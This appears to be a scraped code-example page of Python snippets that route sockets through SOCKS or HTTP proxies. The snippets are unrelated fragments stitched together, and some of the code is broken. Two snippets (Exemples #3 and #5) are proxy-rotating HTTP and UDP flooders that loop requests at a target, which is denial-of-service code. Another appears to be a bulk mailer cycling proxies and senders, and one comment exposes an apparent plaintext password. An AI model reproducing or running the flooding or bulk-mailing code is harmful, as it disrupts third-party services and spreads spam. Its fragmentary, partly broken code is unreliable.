Exemple #1
0
def changeip(list):
    cs = choice(list)
    ip, port = cs[0], cs[1]

    socket.socket = socks.socksocket
    socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, ip, port)
    return cs
    pass
def get_html_by_url(url) :
    moves_html = None
    req = urllib2.Request(url)
    req.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5')
    req.add_header('Content-Type', 'application/x-www-form-urlencoded');
    req.add_header('Cache-Control', 'no-cache');
    req.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8');
    req.add_header('Connection', 'Keep-Alive')
    try:
        movies_html = urllib2.urlopen(req).read()
    except IOError:
        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, 'localhost', 8080)
        socks.wrapmodule(urllib2)
        movies_html = urllib2.urlopen(req).read()
    return movies_html
Exemple #3
0
	def run(self): 
		useragent = "User-Agent: " + random.choice(useragents) + "\r\n" 
		accept = random.choice(acceptall) 
		request = get_host + useragent + accept + connection + "\r\n" 
		current = x 
		if current < len(proxies): 
			proxy = proxies[current].strip().split(':')
		else: 
			proxy = random.choice(proxies).strip().split(":")
		go.wait() 
		while True:
			try:
				socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]), True) 
				s = socks.socksocket() 
				s.connect((str(url2), int(urlport))) 
				s.send (str.encode(request)) 
				print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) 
				try: 
					for y in range(multiple): 
						s.send(str.encode(request)) 
				except: 
					s.close()
			except: 
				s.close() 
				try: 
					socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, str(proxy[0]), int(proxy[1]), True) 
					s = socks.socksocket() 
					s.connect((str(url2), int(urlport))) 
					s.send (str.encode(request)) 
					print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) 
					try: 
						for y in range(multiple): 
							s.send(str.encode(request)) 
					except: 
						s.close()
				except:
					print ("Sock down. Retrying request. @", self.counter)
					s.close() 
Exemple #4
0
def sendmail():
    
    msg = MIMEText("Hi,this is for test !",_subtype='html',_charset='gb2312')    #创建一个实例,这里设置为html格式邮件
    msg['Subject'] = u"NBU 日常检查"
    msg['From'] = '*****@*****.**'
    msg['To'] = '*****@*****.**'
    
    from httplib2 import socks
    import socket
    socket.socket = socks.socksocket
    socks.setdefaultproxy(socks.PROXY_TYPE_HTTP,"192.168.1.106",1081)
    
    try:                
        s = smtplib.SMTP()
        s.connect(MAIL_HOST)
        #s.starttls()
        print("conn")
        s.login(USER, PASSWORD)
        print("login")
        s.sendmail('*****@*****.**','*****@*****.**',msg.as_string())
        
    except Exception,e:
        print str(e)
Exemple #5
0
	def run(self): 
		data = random._urandom(1024) 
		p = bytes(IP(dst=str(url2))/UDP(dport=int(port))/data) 
		current = x 
		if current < len(proxies): 
			proxy = proxies[current].strip().split(':')
		else: 
			proxy = random.choice(proxies).strip().split(":")
		go.wait() 
		while True:
			try:
				socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, str(proxy[0]), int(proxy[1]), True) 
				s = socks.socksocket() 
				s.connect((str(url2),int(port))) 
				s.send(p) 
				print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) 
				try: 
					for y in range(multiple): 
						s.send(str.encode(p)) 
				except: 
					s.close()
			except: 
				s.close() 
from email.parser import Parser
from email.header import decode_header
from email.utils import parseaddr
import imaplib
from httplib2 import socks
import socket
socket.socket = socks.socksocket
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5,"127.0.0.1",1080)

mailserver = imaplib.IMAP4_SSL('imap.gmail.com', 993)

username = raw_input('mail_username: '******'*****@*****.**'  #[email protected]

password = raw_input('mail_password: '******'my18999170965ym'  #Goog1e051...

mailserver.login(username, password)

status, count = mailserver.select('Inbox')

status, data = mailserver.fetch(count[0], '(UID BODY[TEXT])')

print data[0][1]

mailfile = open('mailfile.txt', 'w')
mailfile.write(data[0][1])
mailfile.close()

mailserver.close()

mailserver.logout()
Exemple #7
0
from __future__ import print_function
import pickle
import os.path
from googleapiclient.discovery import build
from google_auth_oauthlib.flow import InstalledAppFlow
from google.auth.transport.requests import Request
from httplib2 import socks
import socket
import base64

socket.socket = socks.socksocket
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 10808)
# If modifying these scopes, delete the file token.pickle.
SCOPES = ['https://www.googleapis.com/auth/gmail.readonly']


class Gmail():
    __service = None
    __config = None

    def __init__(self, config):
        print('开始登陆gmail')
        self.__config = config
        self.__initService()
        print('gmail登陆完成')

    def __initService(self):
        creds = None
        if os.path.exists('token.pickle'):
            with open('token.pickle', 'rb') as token:
                creds = pickle.load(token)
Exemple #8
0
#encoding: utf-8

from httplib2 import socks
import socket

#设置使用socks5代理
socket.socket = socks.socksocket
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "132.122.1.152", 1080)


#覆盖原来的域名解析方法,从socks5代理获取ip
def getaddrinfo(*args):
    return [(socket.AF_INET, socket.SOCK_STREAM, 6, '', (args[0], args[1]))]


socket.getaddrinfo = getaddrinfo

#以上设置必须都使用之前设置好

import smtplib
import sys


def main():
    script, mailto, subject, content = sys.argv
    print script
    print mailto  #邮件发给谁
    print subject  #邮件主题
    print content  #邮件内容
    #socket.socket = socks.socksocket
    #socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5,"132.122.1.152",1080)
Exemple #9
0
                break

        except:
            if iplist == [] or iplist == None:

                break
            pass

    end = datetime.datetime.now()

    print('耗时:%s' % (end - begin))
    print('---------------分割线---------------')

    print('发邮件结束 一共发送%d封发到第%d个发件人' % (40 * n, x))

    print('---------------分割线---------------')
    return n, x, badip


'''这里才是真正的主函数!!!'''

n = 0
x = int(input('请输入发件人文件中第几个发件人开始:')) - 1  # 输入1  s = 0
badip = []

# 可以把已经发送过的发件箱写进文件或者数据库
while 1:
    n, x, badip = main(n, x, badip)
    socket.socket = socks.socksocket
    socks.setdefaultproxy()